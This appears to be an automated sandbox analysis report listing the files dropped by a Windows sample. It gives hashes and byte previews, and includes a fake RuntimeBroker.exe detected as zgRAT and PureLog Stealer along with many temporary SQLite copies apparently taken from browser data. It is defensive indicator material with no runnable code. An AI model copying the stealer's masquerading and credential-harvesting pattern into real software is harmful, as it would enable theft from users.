SHA1:	52463579FE571C86C1410C6F3D6A0F506E4F5133
SHA-256:	700A1B328E0EA5E76CB5EF93F7E9D39BA9B683302D29DCBBD552EAB884B7411D
SHA-512:	DADAFC94AAD41EF8B36E52090FDD8D0E7727DB09E2F3BB83442ADEEF86E149D94189D497E7F1BEF88965176155EC7B9A5286513DD1632066BFD3A10532C71865
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe8bcb173, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422153488356871
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	0FBEB36BEF0970D36B90DD1A59FF28C6
SHA1:	A23E56E62335145F048A0511F4AE86C26BF3B9EA
SHA-256:	DE40D4CF77F27571F52F0DE1580BA32823096F24CB69ED4CA97A82866C7CFE0D
SHA-512:	EE75A522D59C2DC30650E67BEBA9DD617F10F9ECE6DF9D6630E14A038FCF5E765560A63FDDD46E3D0D7F7426676E961CD69F45A5E1AA8951465FDD8233BE341E
Malicious:	false
Preview:	.s... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................z.......}...................b.......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689437767010271
Encrypted:	false
SSDEEP:	3:7nS/yYeBIBdjjn13a/UYGfXallcVO/lnlZMxZNQl:jdzBUdj53qUrWOewk
MD5:	341F53EEEA331851AECB17617C567F8D
SHA1:	838048423ED267620729FEDF3CF49DC7D90017C2
SHA-256:	4B621BBB6D3449374C29F59C2DD4490B5BE0AC79AB50E119C85DAAF0902148DE
SHA-512:	D3DA36D12D497AB8DA490120B1CBC99DE3CADF36A9799176E644B6209ADBD2934B5262C8019ACA9C8F52787F39439E3F75082DF7E68C2D2A1E5404E2F5A82E44
Malicious:	false
Preview:	.!#......................................;...{.......}.......{A..............{A......{A..........{A].................b.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Roaming\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with very long lines (878), with no line terminators
Category:	dropped
Size (bytes):	878
Entropy (8bit):	5.894501462236323
Encrypted:	false
SSDEEP:	24:BDwjCCVwcM6sTlzZt3NplbwIpKfCoTuonyMU3n:BDwjCCVtC5brlbJpKfCWdsn
MD5:	9F7388FE30F6FD5C74F2834A69E39F59
SHA1:	B9213CED40D1CE847D1D5566B0F44D338C79366D
SHA-256:	3C129923ACEBBC669FD8DC9D0A816A39D87FEFD81A6A505B9E33B2FC6B95BE19
SHA-512:	58191A031A3C140F4676F6CA7D4FAE9D2CC20FCDBCE877F492FADE166DB8F760A7EBCAEB805F897814DB7D4AB264CC4A68A9F2DFA79D9ECC2E12115F88F6E41A
Malicious:	false
Preview:	7RjRTnW6BrcHnil0txvJvxqGKRp7U0VXXjwe1Hl2rMfmMVKjtwwwPwHKkcHB7ZlLWEtDwG8lM3bjRE4yGGNhDjIkcm3YAj4RkUQImHwmyLkWVh2giS51MDIw6JkKNjkm8J87xwM9Tkt29vP5tX0soDFhLdLcglZOk7YLj4swF5ilTQxK4pbzt284DavTktdrLfSBXDVzoDmsfeN5qBi1Kjer8dHIIYMVc0Zy8vx0TmLpQQZjN0niLlglAkD36NqQ1QQoEY74NsiiYybsEi5SunK0TxyXs34G54y99uey2tVcD7NLJUzXSXfNGZVQkkLTybmdAcsUDGaBSrxVkmOYEgyiZl2jZNNShBolVtLqlfUL6d5Zm9q8VxPSnEEYjJ402IeRCLA0ahwjLmm6pd7ZhP6tvW8RpwHckeSy9nWb8zhxBpGAcItFLfSnLufqMtLnaT9rTx6CHfbrrIsGQ8yhDBQFLpmOIqOOo4XrpYqoLq8qDl5DBYaO4ojYD4goLs4bRMCxuBa1RKWWDkBktjNtQAUAU8ov2CdcwhY1iIS98i6uRNVc364lfKLQ2CcwXp8Pr3kfLJBlRNurEjsHnL26H17lVI9fpgmSjqDYmzQt4TUSadMSUVJLxCHz58JDKf5vkcHXgTex5ICyhpL25qLUWafhiNdoqMiYXjr7WzvA1VQoATSQwRIdUkYJ6kyS0zHskna77NgG4LdBJ1hP5N2YEEExLhBvAdKBOiEW2USivBjIHX9FDjXm7snfjnwZMuGbAbwlxKXk4TmCf5pxh5sbFhDg4ixOh2WB5HIpkYS3LxroGkAn782QCpWdXQrOWICC7lHYxAMJnzPSzZZTiKQiAF9QvoRUrDgCupqfdlz7wsmNZD

C:\Users\Default\AppData\Roaming\RuntimeBroker.exe

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3966976
Entropy (8bit):	7.30342031524926
Encrypted:	false
SSDEEP:	49152:eqoEZMtkhYeVS/DqvypgwR9uVd7TfeBtF+99CutuvTC82K:eqoyMtkCeVSreqgwRmleBtF+7Cutuvv
MD5:	6275C7746A9CE8E5E2FC05271E47BAC9
SHA1:	6E602C5D626AEDCC9006C18B5DCB4285265501F0
SHA-256:	A289B8BE605D9A1D0B7D4F30290A2CE798AA6B70E2A7440FEC0E07625B50FD73
SHA-512:	A2A40AFA60A73BBFFCCA2CE7FD53673E60A26D035FB82FBDE995B0434B473EA4CC6DA3EDF158F943154EA869BF7F2448421AE3948038BAFBC9E12E619660747E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................<.........N.<.. ....<...@.. ........................<...........@...................................<.K.....<.p.....................<...................................................... ............... ..H............text...T~<.. ....<................. ..`.rsrc...p.....<.......<.............@....reloc........<.......<.............@..B................0.<.....H.......xm..t............T..u.".v.<......................................0..........(.... ........8........E....]..........)...N...8X...(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....8{....0..........+.(%I.\ ........8........E....=...................M...88...8.... ....8....~....:.... ....~....{....:....& ....8.......... ....8....~....(.... .... .... ....s....~....(........ ....~....{....:V...& ....8K...r...ps....z*....~....(

C:\Users\Default\AppData\Roaming\RuntimeBroker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lEwK4xROgV.exe.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	5.367720686892084
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4x
MD5:	2C0A3C5388C3FAAFA50C8FB701A28891
SHA1:	D75655E5C231DE60C96FD196658C429E155BEB0F
SHA-256:	A44CB861DDF882F48202B95D3A8A535419C1AE0386666C84B803F9810473EDD7
SHA-512:	0343301C34ED4FEB7EFF30186862EBC7446E6044955B3088B0BE0D86A3DACAE1BFC407A59D385E9CBB7A0DEF210DC3405FD442A598FD28431371E249F748258A
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\0Ix3uhCUfi

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0bWxV5Kpv0

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0jFhKgrAOA

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0kEIKpf4WS

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0vcWZiz9OB

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\12Dpp83s8D

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1bo37pwnkw

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1d678735aef2e4856b6fdc6a502d0e0df0550a7f

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	5.764973621528898
Encrypted:	false
SSDEEP:	6:dZHXNx3ysp1EX0V3lnYEtfoHZ5ZGRgkPORgVKeUWho+o8YicG1:THXNxysDLVYT45POuVK1mo+9Y/g
MD5:	B520D9078354F6791760DD9FE2BA776F
SHA1:	8345EF66E3EF0D5841FFFEDAC0F028590EFA1E6C
SHA-256:	1623C7B5312B62F3DC06F7AF29DD199C8D3B256537ED8A98D68501C2DC561721
SHA-512:	E47C3BF97C57B9059FA254DD91AB964B6B0D269045E62B39606503B39EAA5FA8AE21A17E10834B0F8A18453CB8843F5C8AD9BE8ECC5FACCD035689B363539EC5
Malicious:	false
Preview:	H4sIAAAAAAAEAK2PTWsCMRRF/0pwVUFclSLd6TgidaGMThV8RTLOy5Dm48UkdubnG5Wu3LTg8sK9h3v2vewdYOWp8dywmdQY2Es3eusDtNLW1AbmyEdeaWQ1/sgjBgC1FDOFygvalh+LTZ7Pd6eVOA2xw97gEQiQkTFkf9O4pgoB5qhdJhoAtIdy/Rfq9v4o8aqwQeP+/eQZamVAn4pTFPysI7vGpOTclEcOUBA30iap4myjNDjxpNA/zr/J4o0SVKQkovN28doVy+bz1v26AENEkYuYAQAA

C:\Users\user\AppData\Local\Temp\21azPN9ind

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2CrASKg4Mm

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2FBsNoUOTr

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2IruM76YY2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2cPbrl0B1p

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\31m0S6kQYs

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3zF9Nwb7Wt

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44A1Sje7ve

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
